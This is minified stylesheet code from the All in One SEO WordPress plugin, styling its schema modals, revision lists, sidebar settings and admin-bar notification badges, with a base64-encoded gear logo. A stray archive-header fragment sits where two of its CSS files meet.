svg.aioseo-faq-page{width:14px;height:14px}.aioseo-post-schema svg.aioseo-fact-check,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-fact-check,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-fact-check{margin-top:2px;width:14px;height:11px}.aioseo-post-schema svg.aioseo-how-to,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-how-to,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-how-to{width:12.5px;height:14.5px}.aioseo-post-schema svg.aioseo-job-posting,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-job-posting,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-job-posting{width:14px;height:13.5px}.aioseo-post-schema svg.aioseo-movie,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-movie,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-movie{width:14px;height:11.2px}.aioseo-post-schema svg.aioseo-music,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-music,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-music{width:8.5px;height:12.5px}.aioseo-post-schema svg.aioseo-person,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-person,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-person{width:11.2px;height:11.5px}.aioseo-post-schema svg.aioseo-product,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-product,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-product{width:13.2px;height:13.5px}.aioseo-post-schema svg.aioseo-recipe,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-recipe,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-recipe{width:12.7px;height:13.7px}.aioseo-post-schema svg.aioseo-restaurant,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-restaurant,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-restaurant{width:10.75px;height:13.6px}.aioseo-post-schema svg.aioseo-service,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-service,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-service{width:14.75px;height:14.1px}.aioseo-post-schema svg.aioseo-software,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-software,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-software{width:13.85px;height:11.2px}.aioseo-post-schema svg.aioseo-video,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-video,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-video{width:13.8px;height:11.15px}.aioseo-post-schema-confirmation-modal .modal-container,.aioseo-post-schema-naming-modal .modal-container{max-width:650px!important}.aioseo-post-schema-confirmation-modal .aioseo-button:not(.close),.aioseo-post-schema-naming-modal .aioseo-button:not(.close){margin-top:16px}.aioseo-post-schema-confirmation-modal .aioseo-modal-body,.aioseo-post-schema-naming-modal .aioseo-modal-body{padding:20px 40px 40px;display:flex;align-items:center;justify-content:center;flex-direction:column;position:relative}.aioseo-post-schema-confirmation-modal h3,.aioseo-post-schema-naming-modal h3{font-size:20px;margin-bottom:16px;text-align:center}.aioseo-post-schema-confirmation-modal .reset-description,.aioseo-post-schema-naming-modal .reset-description{font-size:16px;color:#141b38;margin-bottom:16px;text-align:center;max-width:515px}.aioseo-post-schema-confirmation-modal button.close,.aioseo-post-schema-naming-modal button.close{position:absolute;top:11px;width:24px;height:24px;background-color:#fff;border:none;display:flex;align-items:center}[dir=ltr] .aioseo-post-schema-confirmation-modal button.close,[dir=ltr] .aioseo-post-schema-naming-modal button.close{right:11px}[dir=rtl] .aioseo-post-schema-confirmation-modal button.close,[dir=rtl] .aioseo-post-schema-naming-modal button.close{left:11px}.aioseo-post-schema-confirmation-modal button.close svg.aioseo-close,.aioseo-post-schema-naming-modal button.close svg.aioseo-close{cursor:pointer;width:14px;height:14px}.aioseo-post-schema-confirmation-modal .aioseo-description,.aioseo-post-schema-naming-modal .aioseo-description{max-width:510px;text-align:center}.aioseo-seo-revision-list-item[data-v-20175fdb]{align-items:center;background-color:#f0f6ff;display:flex;flex-wrap:wrap;font-size:14px;gap:8px;position:relative}.aioseo-seo-revision-list-item *[data-v-20175fdb]{line-height:normal}.aioseo-seo-revision-list-item+.aioseo-seo-revision-list-item[data-v-20175fdb]{background-color:#f3f4f5;margin:8px 0 0}.aioseo-seo-revision-list-item__author[data-v-20175fdb]{align-items:center;display:flex;gap:8px}.aioseo-seo-revision-list-item__author__avatar[data-v-20175fdb]{flex:0 0 16px;height:16px;width:16px}.aioseo-seo-revision-list-item__author__name[data-v-20175fdb]{color:#141b38;font-weight:400}.aioseo-seo-revision-list-item__date[data-v-20175fdb]{color:#8c8f9a;font-weight:400}.aioseo-seo-revision-list-item__action[data-v-20175fdb]{align-items:center;display:flex;flex:1 1 auto;font-size:12px;gap:12px;justify-content:end}.aioseo-seo-revision-list-item__action__compare[data-v-20175fdb]{color:#005ae0}.aioseo-seo-revision-list-item__action__delete[data-v-20175fdb],.aioseo-seo-revision-list-item__action__view[data-v-20175fdb]{height:18px;width:18px}.aioseo-seo-revision-list-item__action__delete svg[data-v-20175fdb],.aioseo-seo-revision-list-item__action__view svg[data-v-20175fdb]{color:#8c8f9a}.aioseo-seo-revisions-list[data-v-7b502c37]{--border-size: 2px;--bullet-ms: 12px;--bullet-size: 12px;--item-p: 10px;position:relative}.aioseo-seo-revisions-list[data-v-7b502c37]:before{background-color:#d0d1d7;content:"";height:calc(100% - var(--item-p));position:absolute;top:var(--item-p);width:var(--border-size)}[dir=ltr] .aioseo-seo-revisions-list[data-v-7b502c37]:before{left:calc(var(--border-size) / 2)}[dir=rtl] .aioseo-seo-revisions-list[data-v-7b502c37]:before{right:calc(var(--border-size) / 2)}.aioseo-seo-revisions-list .aioseo-seo-revision-list-item[data-v-7b502c37]{padding:var(--item-p)}[dir=ltr] .aioseo-seo-revisions-list .aioseo-seo-revision-list-item[data-v-7b502c37]{margin-left:calc(var(--bullet-ms) * 2)}[dir=rtl] .aioseo-seo-revisions-list .aioseo-seo-revision-list-item[data-v-7b502c37]{margin-right:calc(var(--bullet-ms) * 2)}.aioseo-seo-revisions-list .aioseo-seo-revision-list-item[data-v-7b502c37]:before{background-color:#d0d1d7;border-radius:50%;content:"";height:var(--bullet-size);position:absolute;top:var(--item-p);width:var(--bullet-size)}[dir=ltr] .aioseo-seo-revisions-list .aioseo-seo-revision-list-item[data-v-7b502c37]:before{left:calc((var(--bullet-ms) + var(--border-size)) * -2)}[dir=rtl] .aioseo-seo-revisions-list .aioseo-seo-revision-list-item[data-v-7b502c37]:before{right:calc((var(--bullet-ms) + var(--border-size)) * -2)}.aioseo-seo-revisions-list .aioseo-seo-revision-list-item[data-v-7b502c37]:first-of-type:before{background-color:#005ae0}.aioseo-seo-revisions-list .aioseo-seo-revision-list-item[data-v-7b502c37]:last-of-type:after{background-color:#fff;content:"";height:calc(100% - (var(--item-p) + var(--bullet-size)));position:absolute;top:calc(var(--item-p) + var(--bullet-size));width:var(--border-size)}[dir=ltr] .aioseo-seo-revisions-list .aioseo-seo-revision-list-item[data-v-7b502c37]:last-of-type:after{left:calc(var(--bullet-ms) * -2 + var(--border-size) / 2)}[dir=rtl] .aioseo-seo-revisions-list .aioseo-seo-revision-list-item[data-v-7b502c37]:last-of-type:after{right:calc(var(--bullet-ms) * -2 + var(--border-size) / 2)}.aioseo-seo-revisions-sidebar__modal-body[data-v-5273d1c7]{padding:20px}.aioseo-seo-revisions-sidebar__modal-body div.aioseo-cta[data-v-5273d1c7]{padding:40px}.aioseo-seo-revisions-sidebar .aioseo-description[data-v-5273d1c7]{margin:0}.aioseo-seo-revisions[data-v-5e3c402f]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Helvetica Neue,sans-serif;letter-spacing:normal}#aioseo-post-settings-sidebar .aioseo-seo-revisions[data-v-5e3c402f]{padding:12px}.aioseo-seo-revisions[data-v-5e3c402f] .text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.aioseo-seo-revisions-count-badge{background-color:#d0d1d7;border-radius:50%;display:inline-flex;font-size:12px;font-style:normal;font-weight:700;height:24px;justify-content:center;line-height:24px;width:24px}[dir=ltr] .aioseo-seo-revisions-count-badge--ml{margin-left:6px}[dir=rtl] .aioseo-seo-revisions-count-badge--ml,[dir=ltr] .aioseo-seo-revisions-count-badge--mr{margin-right:6px}[dir=rtl] .aioseo-seo-revisions-count-badge--mr{margin-left:6px}.aioseo-seo-revisions-count-badge--sm{font-size:10px}.aioseo-seo-revisions-count-badge+*{line-height:normal;vertical-align:middle}.aioseo-post-settings,.aioseo-metabox .aioseo-post-settings{background:#fff;color:#141b38}.aioseo-post-settings .aioseo-tabs,.aioseo-metabox .aioseo-post-settings .aioseo-tabs{--tabs-item-horizontal-height: 50px;--tab-font-size: 14px;--tab-inactive-color: #434960;background:#f3f4f5}.aioseo-post-settings .aioseo-tabs .var-tab .icon,.aioseo-metabox .aioseo-post-settings .aioseo-tabs .var-tab .icon{display:none}.aioseo-post-settings .aioseo-tabs svg,.aioseo-metabox .aioseo-post-settings .aioseo-tabs svg{display:none}.aioseo-post-settings .aioseo-tabs svg.aioseo-caret,.aioseo-metabox .aioseo-post-settings .aioseo-tabs svg.aioseo-caret{display:inline}.aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button,.aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button{display:flex;align-items:center;padding:12px;color:#2c324c;text-decoration:none}.aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button:not(:last-child),.aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button:not(:last-child){border-bottom:1px solid #DDDDDD}.aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button:focus,.aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button:focus{box-shadow:none}.aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .icon,.aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .icon{display:inline;width:20px;height:20px}[dir=ltr] .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .icon,[dir=ltr] .aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .icon{margin-right:10px}[dir=rtl] .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .icon,[dir=rtl] .aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .icon{margin-left:10px}.aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .name,.aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .name{font-weight:600}.aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-circle-information-solid,.aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-circle-information-solid{color:#f18200}[dir=ltr] .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-circle-information-solid,[dir=ltr] .aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-circle-information-solid{margin-left:8px}[dir=rtl] .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-circle-information-solid,[dir=rtl] .aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-circle-information-solid{margin-right:8px}.aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-caret,.aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-caret{width:24px;height:24px;cursor:pointer}[dir=ltr] .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-caret,[dir=ltr] .aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-caret{margin-left:auto;transform:rotate(-90deg)}[dir=rtl] .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-caret,[dir=rtl] .aioseo-metabox .aioseo-post-settings .aioseo-sidepanel .aioseo-sidepanel-button .aioseo-caret{margin-right:auto;transform:rotate(90deg)}.aioseo-post-settings .aioseo-tab-title,.aioseo-metabox .aioseo-post-settings .aioseo-tab-title{display:flex;align-items:center;color:#2c324c;font-weight:600;padding:12px;border-bottom:1px solid #DDDDDD;background:#fff;position:sticky;z-index:1;top:0}.aioseo-post-settings .aioseo-tab-title svg,.aioseo-metabox .aioseo-post-settings .aioseo-tab-title svg{width:10px;height:10px;cursor:pointer}[dir=ltr] .aioseo-post-settings .aioseo-tab-title svg,[dir=ltr] .aioseo-metabox .aioseo-post-settings .aioseo-tab-title svg{margin-left:auto}[dir=rtl] .aioseo-post-settings .aioseo-tab-title svg,[dir=rtl] .aioseo-metabox .aioseo-post-settings .aioseo-tab-title svg{margin-right:auto}.aioseo-post-settings .aioseo-tab-content,.aioseo-metabox .aioseo-post-settings .aioseo-tab-content{background:#fff;border-top:0;padding:var(--aioseo-gutter);font-size:14px;position:relative}.aioseo-post-settings .aioseo-sidebar-content-title,.aioseo-metabox .aioseo-post-settings .aioseo-sidebar-content-title{font-weight:700;font-size:14px;padding-bottom:5px}.edit-post-sidebar .col-xs-12,.edit-post-sidebar .col-sm-6,.edit-post-sidebar .col-md-4,.edit-post-sidebar .col-md-3{width:100%;flex-basis:100%!important;max-width:100%!important}.edit-post-sidebar .components-panel{border-bottom:none}.edit-post-sidebar .aioseo-mobile-tabs{display:none}.edit-post-sidebar .aioseo-app{--aioseo-gutter: 12px}.edit-post-sidebar .aioseo-app input{border:1px solid #D0D1D7}.edit-post-sidebar .aioseo-app input:focus{border-color:#005ae0;box-shadow:0 0 0 1px #005ae0}.edit-post-sidebar .aioseo-app input::placeholder{color:#8c8f9a}.edit-post-sidebar .aioseo-app .aioseo-tab:not(.is-page-builder){position:relative;top:-45px}.edit-post-sidebar .aioseo-app .aioseo-textarea-autosize{border:1px solid #D0D1D7}.edit-post-sidebar .aioseo-app .aioseo-tab-content{padding:16px;border:none}.edit-post-sidebar .aioseo-app .aioseo-description{margin:0}.edit-post-sidebar .aioseo-app .route-fade-enter-active,.edit-post-sidebar .aioseo-app .route-fade-leave-active{transition:opacity .2s,transform .2s}.edit-post-sidebar .aioseo-app .route-fade-enter-from,.edit-post-sidebar .aioseo-app .route-fade-leave-active{position:absolute;top:0}.edit-post-sidebar .aioseo-settings-row{margin-bottom:16px;padding-bottom:16px}.edit-post-sidebar .aioseo-settings-row:last-of-type{border-bottom:0;margin-bottom:0!important;padding-bottom:0!important}.edit-post-sidebar .aioseo-settings-row>.aioseo-col{padding-top:0}.edit-post-sidebar .aioseo-settings-row .settings-name .name{font-size:14px;font-weight:700;margin-bottom:0}.aioseo-post-settings-modal .aioseo-modal-content .aioseo-tabs{--tabs-item-horizontal-height: 50px;--tab-font-size: 14px;--tab-inactive-color: #434960;background:#f3f4f5}.aioseo-post-settings-modal .aioseo-modal-content .aioseo-tabs .var-tab .icon{display:none}.aioseo-post-settings-modal .aioseo-modal-content .aioseo-tabs svg{display:none}.aioseo-post-settings-modal .aioseo-modal-content .aioseo-tabs svg.aioseo-caret{display:inline}.aioseo-post-settings-modal .aioseo-modal-content .aioseo-tabs.internal{border-bottom-width:1px!important}@media screen and (max-width: 520px){[dir=ltr] .aioseo-post-settings-modal .aioseo-modal-content .aioseo-tabs.internal{padding-left:20px!important}[dir=rtl] .aioseo-post-settings-modal .aioseo-modal-content .aioseo-tabs.internal{padding-right:20px!important}}@media only screen and (min-width: 782px){.aioseo-post-settings-modal .aioseo-modal-content .col-md-4{-ms-flex-preferred-size:33.33333333%!important;flex-basis:33.33333333%!important;max-width:33.33333333%!important}.aioseo-post-settings-modal .aioseo-modal-content .col-md-5{-ms-flex-preferred-size:41.66666667%!important;flex-basis:41.66666667%!important;max-width:41.66666667%!important}.aioseo-post-settings-modal .aioseo-modal-content .col-md-7{-ms-flex-preferred-size:58.33333333%!important;flex-basis:58.33333333%!important;max-width:58.33333333%!important}.aioseo-post-settings-modal .aioseo-modal-content .col-md-8{-ms-flex-preferred-size:66.66666667%!important;flex-basis:66.66666667%!important;max-width:66.66666667%!important}}.aioseo-redirects.aioseo-modal .bd{padding:20px}.aioseo-redirects.aioseo-modal .modal-wrapper .modal-container{max-width:1000px}.aioseo-post-settings-sidebar-vue>div{flex:1}.aioseo-post-settings-sidebar-vue .aioseo-loading-spinner{margin-top:30px} PKÉ—[Ü´Þ¿O¿O9all-in-one-seo-pack/dist/Lite/assets/css/app.s9eMAOYT.cssnu„[µü¤#wpadminbar #wp-admin-bar-aioseo-main .aioseo-logo.svg{width:26px;height:30px;background-repeat:no-repeat;background-size:20px;background-image:url(data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgZmlsbD0iI2ZmZiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiBjbGFzcz0iYWlvc2VvLWdlYXIiPjxwYXRoIGZpbGwtcnVsZT0iZXZlbm9kZCIgY2xpcC1ydWxlPSJldmVub2RkIiBkPSJNOS45ODU0MiAxOS45NzA4QzE1LjUwMDIgMTkuOTcwOCAxOS45NzA4IDE1LjUwMDIgMTkuOTcwOCA5Ljk4NTQyQzE5Ljk3MDggNC40NzA2MyAxNS41MDAyIDAgOS45ODU0MiAwQzQuNDcwNjMgMCAwIDQuNDcwNjMgMCA5Ljk4NTQyQzAgMTUuNTAwMiA0LjQ3MDYzIDE5Ljk3MDggOS45ODU0MiAxOS45NzA4Wk04LjM5NTQxIDMuNjU0NjRDOC4yNjAxNiAzLjQ0ODUgOC4wMDk2IDMuMzUyMTEgNy43Nzk4NSAzLjQzMzI3QzcuNTE4MTYgMy41MjU3MiA3LjI2MjE4IDMuNjM0NDUgNy4wMTM0OSAzLjc1ODhDNi43OTUxOSAzLjg2Nzk2IDYuNjg1NjYgNC4xMTczMSA2LjczMzcyIDQuMzYwNDlMNi45MDQ5MyA1LjIyNjk0QzYuOTQ5IDUuNDQ5OTYgNi44NTggNS42NzYzIDYuNjg1MjIgNS44MjAwOUM2LjQxMjE2IDYuMDQ3MzQgNi4xNjAwNyA2LjMwNDI2IDUuOTM0MjEgNi41ODg2NEM1Ljc5MzgzIDYuNzY1MzkgNS41NzIzMyA2Ljg1OTA3IDUuMzUzNjEgNi44MTQ4OUw0LjUwNDI0IDYuNjQzM0M0LjI2NTY0IDYuNTk1MSA0LjAyMTU3IDYuNzA3ODggMy45MTU0NCA2LjkzMTIxQzMuODU1NDkgNy4wNTczOCAzLjc5ODg5IDcuMTg2MiAzLjc0NTgzIDcuMzE3NThDMy42OTI3NiA3LjQ0ODk2IDMuNjQzOTcgNy41ODEwNSAzLjU5OTM4IDcuNzEzNjlDMy41MjA0OCA3Ljk0ODQ3IDMuNjE1NzkgOC4yMDM5OCAzLjgxODM5IDguMzQxMzNMNC41Mzk1OCA4LjgzMDI3QzQuNzI1MjkgOC45NTYxNyA0LjgxNzc4IDkuMTgxOSA0Ljc5NTM0IDkuNDA4MjZDNC43NTkyNSA5Ljc3MjQ0IDQuNzYwNzIgMTAuMTM2IDQuNzk3NTYgMTAuNDkzNkM0LjgyMDg3IDEwLjcxOTggNC43MjkxNSAxMC45NDU5IDQuNTQzODggMTEuMDcyNEwzLjgyNDA4IDExLjU2NDJDMy42MjIwNSAxMS43MDIyIDMuNTI3NTkgMTEuOTU3OSAzLjYwNzEzIDEyLjE5MjNDMy42OTc3NCAxMi40NTkzIDMuODA0MyAxMi43MjA1IDMuOTI2MTUgMTIuOTc0M0M0LjAzMzEzIDEzLjE5NzEgNC4yNzc0OSAxMy4zMDg4IDQuNTE1ODEgMTMuMjU5OEw1LjM2NDk1IDEzLjA4NTFDNS41ODM1IDEzLjA0MDEgNS44MDUzMyAxMy4xMzMgNS45NDYyMyAxMy4zMDkzQzYuMTY4OTMgMTMuNTg3OSA2LjQyMDcxIDEzLjg0NTEgNi42OTk0IDE0LjA3NTZDNi44NzI2MSAxNC4yMTg4IDYuOTY0NDIgMTQuNDQ0OCA2LjkyMTEyIDE0LjY2OEw2Ljc1Mjk2IDE1LjUzNDhDNi43MDU3MiAxNS43NzgyIDYuODE2MjUgMTYuMDI3MyA3LjAzNTExIDE2LjEzNTZDNy4xNTg3NiAxNi4xOTY3IDcuMjg1IDE2LjI1NDUgNy40MTM3NSAxNi4zMDg2QzcuNTQyNTEgMTYuMzYyOCA3LjY3MTk2IDE2LjQxMjYgNy44MDE5NSAxNi40NTgxQzguMTgyMjQgMTYuNTkxMiA4LjcxNDQ5IDE2LjExNDcgOS4xMDggMTUuNzYyNUM5LjMwMjA1IDE1LjU4ODggOS40MjE3NCAxNS4zNDMgOS40MjMwMSAxNS4wNzk4QzkuNDIzMDEgMTUuMDc4NCA5LjQyMzAyIDE1LjA3NyA5LjQyMzAyIDE1LjA3NTZMOS40MjMwMSAxMy42MjYzQzkuNDIzMDEgMTMuNjEwOSA5LjQyMzYgMTMuNTk1NyA5LjQyNDc2IDEzLjU4MDZDOC4yNjI0OCAxMy4yOTcxIDcuMzk4MzggMTIuMjMwMSA3LjM5ODM4IDEwLjk1NzJWOS40MTgyM0M3LjM5ODM4IDkuMzAxMjUgNy40OTEzMSA5LjIwNjQyIDcuNjA1OTYgOS4yMDY0Mkg4LjMyNTg0VjcuNjkyMkM4LjMyNTg0IDcuNDgzMTIgOC40OTE5MyA3LjMxMzY0IDguNjk2ODMgNy4zMTM2NEM4LjkwMTcxIDcuMzEzNjQgOS4wNjc4MSA3LjQ4MzEyIDkuMDY3ODEgNy42OTIyVjkuMjA2NDJIMTEuMDE1NVY3LjY5MjJDMTEuMDE1NSA3LjQ4MzEyIDExLjE4MTYgNy4zMTM2NCAxMS4zODY1IDcuMzEzNjRDMTEuNTkxNCA3LjMxMzY0IDExLjc1NzUgNy40ODMxMiAxMS43NTc1IDcuNjkyMlY5LjIwNjQySDEyLjQ3NzNDMTIuNTkyIDkuMjA2NDIgMTIuNjg0OSA5LjMwMTI1IDEyLjY4NDkgOS40MTgyM1YxMC45NTcyQzEyLjY4NDkgMTIuMjcwNCAxMS43NjUzIDEzLjM2NDMgMTAuNTQ3NCAxMy42MDUxQzEwLjU0NzcgMTMuNjEyMSAxMC41NDc4IDEzLjYxOTIgMTAuNTQ3OCAxMy42MjYzTDEwLjU0NzggMTUuMDY5NEMxMC41NDc4IDE1LjMzNzcgMTAuNjcxMSAxNS41ODc5IDEwLjg3MSAxNS43NjIyQzExLjI3MTUgMTYuMTExNSAxMS44MTI5IDE2LjU4MzcgMTIuMTkxIDE2LjQ1MDJDMTIuNDUyNyAxNi4zNTc3IDEyLjcwODYgMTYuMjQ5IDEyLjk1NzMgMTYuMTI0NkMxMy4xNzU2IDE2LjAxNTUgMTMuMjg1MiAxNS43NjYxIDEzLjIzNzEgMTUuNTIyOUwxMy4wNjU5IDE0LjY1NjVDMTMuMDIxOCAxNC40MzM0IDEzLjExMjggMTQuMjA3MSAxMy4yODU2IDE0LjA2MzNDMTMuNTU4NyAxMy44MzYxIDEzLjgxMDcgMTMuNTc5MiAxNC4wMzY2IDEzLjI5NDhDMTQuMTc3IDEzLjExOCAxNC4zOTg1IDEzLjAyNDQgMTQuNjE3MiAxMy4wNjg1TDE1LjQ2NjYgMTMuMjQwMUMxNS43MDUyIDEzLjI4ODMgMTUuOTQ5MyAxMy4xNzU2IDE2LjA1NTQgMTIuOTUyMkMxNi4xMTUzIDEyLjgyNjEgMTYuMTcxOSAxMi42OTcyIDE2LjIyNSAxMi41NjU5QzE2LjI3ODEgMTIuNDM0NSAxNi4zMjY5IDEyLjMwMjQgMTYuMzcxNCAxMi4xNjk4QzE2LjQ1MDMgMTEuOTM1IDE2LjM1NSAxMS42Nzk1IDE2LjE1MjQgMTEuNTQyMUwxNS40MzEyIDExLjA1MzJDMTUuMjQ1NSAxMC45MjczIDE1LjE1MyAxMC43MDE1IDE1LjE3NTUgMTAuNDc1MkMxNS4yMTE2IDEwLjExMSAxNS4yMTAxIDkuNzQ3NDQgMTUuMTczMyA5LjM4OTg2QzE1LjE0OTkgOS4xNjM2MSAxNS4yNDE3IDguOTM3NTcgMTUuNDI2OSA4LjgxMUwxNi4xNDY3IDguMzE5MjdDMTYuMzQ4OCA4LjE4MTI2IDE2LjQ0MzIgNy45MjU1OCAxNi4zNjM3IDcuNjkxMTVDMTYuMjczMSA3LjQyNDExIDE2LjE2NjUgNy4xNjI5MiAxNi4wNDQ3IDYuOTA5MTVDMTUuOTM3NyA2LjY4NjM4IDE1LjY5MzMgNi41NzQ2MiAxNS40NTUgNi42MjM2NkwxNC42MDU5IDYuNzk4MzdDMTQuMzg3MyA2Ljg0MzM0IDE0LjE2NTUgNi43NTA0OCAxNC4wMjQ2IDYuNTc0MThDMTMuODAxOSA2LjI5NTU0IDEzLjU1MDEgNi4wMzgzMiAxMy4yNzE0IDUuODA3ODRDMTMuMDk4MiA1LjY2NDYgMTMuMDA2NCA1LjQzODU4IDEzLjA0OTcgNS4yMTU0TDEzLjIxNzkgNC4zNDg2OEMxMy4yNjUxIDQuMTA1MjEgMTMuMTU0NiAzLjg1NjE2IDEyLjkzNTcgMy43NDc4N0MxMi44MTIxIDMuNjg2NjkgMTIuNjg1OCAzLjYyODk1IDEyLjU1NzEgMy41NzQ4QzEyLjQyODMgMy41MjA2NSAxMi4yOTg5IDMuNDcwODYgMTIuMTY4OSAzLjQyNTM3QzExLjkzODggMy4zNDQ4NSAxMS42ODg0IDMuNDQyMTEgMTEuNTUzOCAzLjY0ODg0TDExLjA3NDYgNC4zODQ3NUMxMC45NTEzIDQuNTc0MjUgMTAuNzMgNC42Njg2MiAxMC41MDgyIDQuNjQ1NzNDMTAuMTUxMyA0LjYwODkgOS43OTUwMiA0LjYxMDM5IDkuNDQ0NTkgNC42NDc5OUM5LjIyMjg2IDQuNjcxNzcgOS4wMDEzNCA0LjU3ODE4IDguODc3MzEgNC4zODkxM0w4LjM5NTQxIDMuNjU0NjRaIiBmaWxsPSIjZmZmIiAvPjwvc3ZnPg==)!important}[dir=ltr] #wpadminbar #wp-admin-bar-aioseo-main .aioseo-logo.svg{float:left;background-position:0 6px}[dir=rtl] #wpadminbar #wp-admin-bar-aioseo-main .aioseo-logo.svg{float:right;background-position:100% 6px}#wpadminbar #wp-admin-bar-aioseo-main.new-notifications>.ab-item{background:#2c3338;color:#72aee6}#wpadminbar #wp-admin-bar-aioseo-pro-upgrade a{background-color:#1da867;padding-bottom:5px}#wpadminbar #wp-admin-bar-aioseo-pro-upgrade a span{font-weight:600}#wpadminbar #wp-admin-bar-aioseo-pro-license a{background-color:#1da867;padding-bottom:5px}#wpadminbar #wp-admin-bar-aioseo-pro-license a span{font-weight:600}#wpadminbar .aioseo-menu-notification-counter{display:inline-flex;vertical-align:top;box-sizing:border-box;padding:0;min-width:18px;height:18px;border-radius:9px;font-size:11px;line-height:1.6;text-align:center;justify-content:center}[dir=ltr] #wpadminbar .aioseo-menu-notification-counter{margin:7px 0 0 5px}[dir=rtl] #wpadminbar .aioseo-menu-notification-counter{margin:7px 5px 0 0}#wpadminbar .aioseo-menu-notification-counter span{line-height:1;font-size:11px}#wpadminbar .aioseo-menu-notification-counter.aioseo-menu-notification-counter-frontend{background-color:#d63638}#wpadminbar .aioseo-menu-notification-indicator{width:8px;height:8px;border-radius:50%;background-color:#d63638;line-height:1.6;animation:aioseo-menu-notification-indicator-pulse 1.5s infinite}[dir=ltr] #wpadminbar .aioseo-menu-notification-indicator{float:right;margin:10px 4px 0 0}[dir=rtl] #wpadminbar .aioseo-menu-notification-indicator{float:left;margin:10px 0 0 4px}#wpadminbar .aioseo-menu-new-indicator{color:#f18200;vertical-align:super;font-size:9px}[dir=ltr] #wpadminbar .aioseo-menu-new-indicator{padding-left:2px}[dir=rtl] #wpadminbar .aioseo-menu-new-indicator{padding-right:2px}#toplevel_page_aioseo .aioseo-menu-notification-indicator{margin:6px 0 0;width:8px;height:8px;border-radius:50%;background-color:#d63638;line-height:1.6;animation:aioseo-menu-notification-indicator-pulse 1.5s infinite}[dir=ltr] #toplevel_page_aioseo .aioseo-menu-notification-indicator{float:right}[dir=rtl] #toplevel_page_aioseo .aioseo-menu-notification-indicator{float:left}#toplevel_page_aioseo .wp-submenu-wrap li a{position:relative}#toplevel_page_aioseo .wp-submenu-wrap li a .aioseo-menu-new-indicator{position:absolute}#toplevel_page_aioseo .aioseo-menu-new-indicator{color:#f18200;vertical-align:super;font-size:9px}[dir=ltr] #toplevel_page_aioseo .aioseo-menu-new-indicator{padding-left:2px}[dir=rtl] #toplevel_page_aioseo .aioseo-menu-new-indicator{padding-right:2px}@keyframes aioseo-menu-notification-indicator-pulse{0%{box-shadow:0 0 #ca4a1f80}to{box-shadow:0 0 0 10px #ca4a1f00}}@media screen and (max-width: 782px){#wpadminbar #wp-admin-bar-aioseo-main{display:block;position:static}#wpadminbar #wp-admin-bar-aioseo-main .ab-item .text{display:none}#wpadminbar #wp-admin-bar-aioseo-main .aioseo-logo.svg{width:52px;height:46px;background-position:50% 8px;background-size:30px}}.aioseo-plugin-row .plugin-update-tr p:first-child:before{content:"ïˆ"}[dir=ltr] .aioseo-plugin-row .plugin-update-tr p:not(:first-child){padding-left:20px}[dir=rtl] .aioseo-plugin-row .plugin-update-tr p:not(:first-child){padding-right:20px}.aioseo-plugin-row .plugin-update-tr p:not(:first-child):before{content:" "}.aioseo-plugin-row .proupgrade a{color:#1da867;font-weight:600}body #most-recent-results{margin-top:0!important}body #wp-link-wrap{height:650px}body #wp-link-wrap #wp-link .query-results{position:initial}body #wp-link-wrap #wp-link .query-results 